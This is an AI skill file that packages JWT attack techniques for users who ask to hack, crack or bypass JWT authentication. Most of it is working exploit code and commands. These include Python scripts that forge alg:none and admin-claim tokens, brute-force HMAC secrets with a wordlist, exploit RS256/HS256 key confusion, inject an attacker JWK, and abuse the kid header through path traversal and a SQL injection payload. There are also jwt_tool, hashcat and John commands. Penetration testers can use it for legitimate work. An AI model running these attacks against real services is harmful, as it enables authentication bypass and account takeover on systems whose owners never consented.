| name | JWT Security Testing |
| description | This skill should be used when the user asks to "test JWT security", "hack JWT tokens", "bypass JWT authentication", "crack JWT secrets", or "exploit JWT vulnerabilities". It provides comprehensive JSON Web Token attack techniques and security assessment methodologies. |
| version | 1.0.0 |
| tags | jwt, authentication, web-security, token, penetration-testing, api-security |
JWT Security Testing
Purpose
Identify and exploit vulnerabilities in JSON Web Token (JWT) implementations, including algorithm confusion attacks, secret key cracking, signature bypass, and claim manipulation. JWTs are widely used for authentication and authorization, making them high-value targets for security testing.
Prerequisites
Required Tools
- jwt_tool (Python JWT manipulation)
- Burp Suite with JWT extensions
- Hashcat or John the Ripper for cracking
- Python with PyJWT library
- jwt.io for decoding
Required Knowledge
- JWT structure and claims
- Cryptographic signing algorithms
- HTTP authentication mechanisms
- Base64 encoding
Outputs and Deliverables
- JWT Vulnerability Assessment - Identified weaknesses in implementation
- Exploitation Proof - Forged tokens demonstrating bypass
- Secret Key Recovery - Cracked HMAC secrets
- Remediation Guidance - Secure implementation recommendations
Core Workflow
Phase 1: Understanding JWT Structure
JWT consists of three Base64URL-encoded parts:
Header.Payload.Signature
Example JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header:
{
"alg": "HS256",
"typ": "JWT"
}
Payload (Claims):
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"exp": 1516242622,
"admin": false
}
Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Common claims:
iss- Issuersub- Subjectaud- Audienceexp- Expiration timeiat- Issued atnbf- Not beforejti- JWT ID
Phase 2: JWT Reconnaissance
Identify and decode JWTs:
# Decode JWT parts
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# Using jwt_tool
jwt_tool <token>
# Using Python
python3 -c "
import base64
import json
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c'
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print('Header:', json.dumps(header, indent=2))
print('Payload:', json.dumps(payload, indent=2))
"
# Online decoder
# https://jwt.io
Look for:
- Algorithm used (HS256, RS256, etc.)
- Sensitive claims (admin, role, permissions)
- Expiration settings
- Key ID (kid) header
Phase 3: None Algorithm Attack
Exploit servers that accept unsigned tokens:
# Using jwt_tool
jwt_tool <token> -X a
# Manual exploitation
# Original header:
{"alg": "HS256", "typ": "JWT"}
# Modified header:
{"alg": "none", "typ": "JWT"}
# Python script for none algorithm
python3 << 'EOF'
import base64
import json
# Modified header with none algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234567890", "name": "Admin", "admin": True, "iat": 1516239022}
# Encode header and payload
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# Create token without signature
token = f"{header_b64}.{payload_b64}."
print(token)
EOF
Variations to try:
{"alg": "none"}
{"alg": "None"}
{"alg": "NONE"}
{"alg": "nOnE"}
Phase 4: Secret Key Brute-Force
Crack weak HMAC secrets:
# Using jwt_tool with dictionary
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat
# First, format token for hashcat
echo '<token>' > jwt.txt
# Hashcat mode 16500 for JWT
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Using John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Python brute-force script
python3 << 'EOF'
import jwt
import sys
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f:
for line in f:
secret = line.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] Found secret: {secret}")
break
except:
pass
EOF
Common weak secrets:
secretpassword123456jwt_secret- Company name or domain
Phase 5: Algorithm Confusion Attack
Exploit RSA/HMAC key confusion:
# If server uses RS256 but accepts HS256
# Sign with public key as HMAC secret
# Download public key
curl -s http://target.com/.well-known/jwks.json
# Using jwt_tool
jwt_tool <token> -X k -pk public.pem
# Python exploitation
python3 << 'EOF'
import jwt
import json
# Read public key
with open('public.pem', 'r') as f:
public_key = f.read()
# Create payload with elevated privileges
payload = {
"sub": "admin",
"admin": True,
"exp": 9999999999
}
# Sign using HS256 with public key as secret
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
EOF
Phase 6: JWK Header Injection
Inject attacker-controlled key in token:
# Using jwt_tool for JWK injection
jwt_tool <token> -X i
# Create token with embedded JWK
python3 << 'EOF'
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import json
import base64
# Generate RSA key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
# Extract public key components for JWK
public_numbers = public_key.public_numbers()
n = base64.urlsafe_b64encode(public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e = base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
# Create header with embedded JWK
header = {
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": n,
"e": e
}
}
payload = {"sub": "admin", "admin": True}
# Sign with our private key
token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
EOF
Phase 7: KID (Key ID) Injection
Exploit key ID parameter for path traversal or injection:
# Path traversal via kid
# Header:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../dev/null"
}
# Sign with empty string since /dev/null is empty
# SQL injection via kid
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1' UNION SELECT 'secret' --"
}
# Using jwt_tool for kid exploitation
jwt_tool <token> -X k -pk /dev/null
# Python path traversal attack
python3 << 'EOF'
import jwt
import json
import base64
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../dev/null"
}
payload = {"sub": "admin", "admin": True}
# Sign with empty secret (content of /dev/null)
token = jwt.encode(payload, "", algorithm='HS256', headers=header)
print(token)
EOF
Phase 8: Claim Manipulation
Modify token claims for privilege escalation:
# Using jwt_tool to tamper claims
jwt_tool <token> -T
# Modify specific claim
jwt_tool <token> -I -pc admin -pv true
# Change user role
jwt_tool <token> -I -pc role -pv administrator
# Python claim manipulation (requires valid signature)
python3 << 'EOF'
import jwt
# Decode without verification
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
payload = jwt.decode(token, options={"verify_signature": False})
print("Original:", payload)
# Modify claims
payload['admin'] = True
payload['role'] = 'administrator'
# Re-encode (need valid secret)
new_token = jwt.encode(payload, "known_secret", algorithm='HS256')
print("Modified token:", new_token)
EOF
Claims to target:
admin,isAdmin,is_adminrole,roles,user_rolepermissions,scopeuser_id,uid,subemail,username
Phase 9: JWT Tool Comprehensive Testing
Use jwt_tool for full vulnerability scan:
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip install -r requirements.txt
# Full vulnerability scan
python3 jwt_tool.py <token> -M at
# Specific attacks:
# -X a : Alg:none attack
# -X n : Null signature attack
# -X b : Blank password attack
# -X s : Sign with key file
# -X k : Key confusion attack
# -X i : Inject JWK
# -X p : PKCS11 padding oracle
# Tamper mode
python3 jwt_tool.py <token> -T
# Crack secret
python3 jwt_tool.py <token> -C -d wordlist.txt
# Generate new token with modifications
python3 jwt_tool.py <token> -I -pc admin -pv true -S hs256 -p "secret"
Phase 10: Burp Suite JWT Testing
Configure Burp for JWT testing:
1. Install JSON Web Tokens extension
- BApp Store > JSON Web Tokens
2. Capture request with JWT
- JWT appears in Authorization header or cookie
3. JWT tab in message editor
- Decode and view claims
- Modify claims directly
- Re-sign with key
4. JWT Scanner extension
- Automatically test for vulnerabilities
- None algorithm
- Algorithm confusion
- Weak keys
5. Intruder attacks
- Fuzz claim values
- Test algorithm variations
Quick Reference
JWT Algorithms
| Algorithm | Type | Description |
|---|---|---|
| HS256 | Symmetric | HMAC with SHA-256 |
| HS384 | Symmetric | HMAC with SHA-384 |
| HS512 | Symmetric | HMAC with SHA-512 |
| RS256 | Asymmetric | RSA with SHA-256 |
| RS384 | Asymmetric | RSA with SHA-384 |
| RS512 | Asymmetric | RSA with SHA-512 |
| ES256 | Asymmetric | ECDSA with SHA-256 |
| none | None | No signature |
Common Attack Summary
| Attack | Vulnerability | Payload |
|---|---|---|
| None Algorithm | Accepts unsigned tokens | "alg": "none" |
| Secret Cracking | Weak HMAC secret | Brute-force |
| Key Confusion | RSA key as HMAC secret | Sign with public key |
| JWK Injection | Trusts embedded keys | Embed attacker JWK |
| KID Injection | Unvalidated kid | Path traversal/SQLi |
jwt_tool Commands
| Command | Purpose |
|---|---|
jwt_tool <token> |
Decode and analyze |
jwt_tool <token> -T |
Tamper mode |
jwt_tool <token> -C -d wordlist.txt |
Crack secret |
jwt_tool <token> -X a |
None algorithm attack |
jwt_tool <token> -X k -pk key.pem |
Key confusion attack |
jwt_tool <token> -M at |
All tests mode |
Constraints and Limitations
Attack Limitations
- Strong secrets resist brute-force
- Proper algorithm validation blocks confusion attacks
- Short expiration limits replay window
- Server-side validation may catch tampering
Testing Considerations
- Obtain authorization before testing
- Some attacks require valid tokens first
- Rate limiting may restrict brute-force attempts
- Production tokens may have short validity
Secure Implementation Detection
- Algorithm whitelist enforcement
- Strong, rotated secrets
- Proper key separation (RSA/HMAC)
- Claim validation on server
Troubleshooting
Token Rejected After Modification
Solutions:
- Verify signature algorithm matches
- Check expiration hasn't passed
- Ensure base64 encoding is correct
- Validate claim format expectations
Secret Cracking Too Slow
Solutions:
- Use hashcat with GPU acceleration
- Try targeted wordlists first
- Check for common secrets manually
- Consider rainbow tables if available
Algorithm Confusion Not Working
Solutions:
- Verify server uses asymmetric algorithm
- Ensure public key format is correct
- Try different algorithm variations
- Check for algorithm whitelist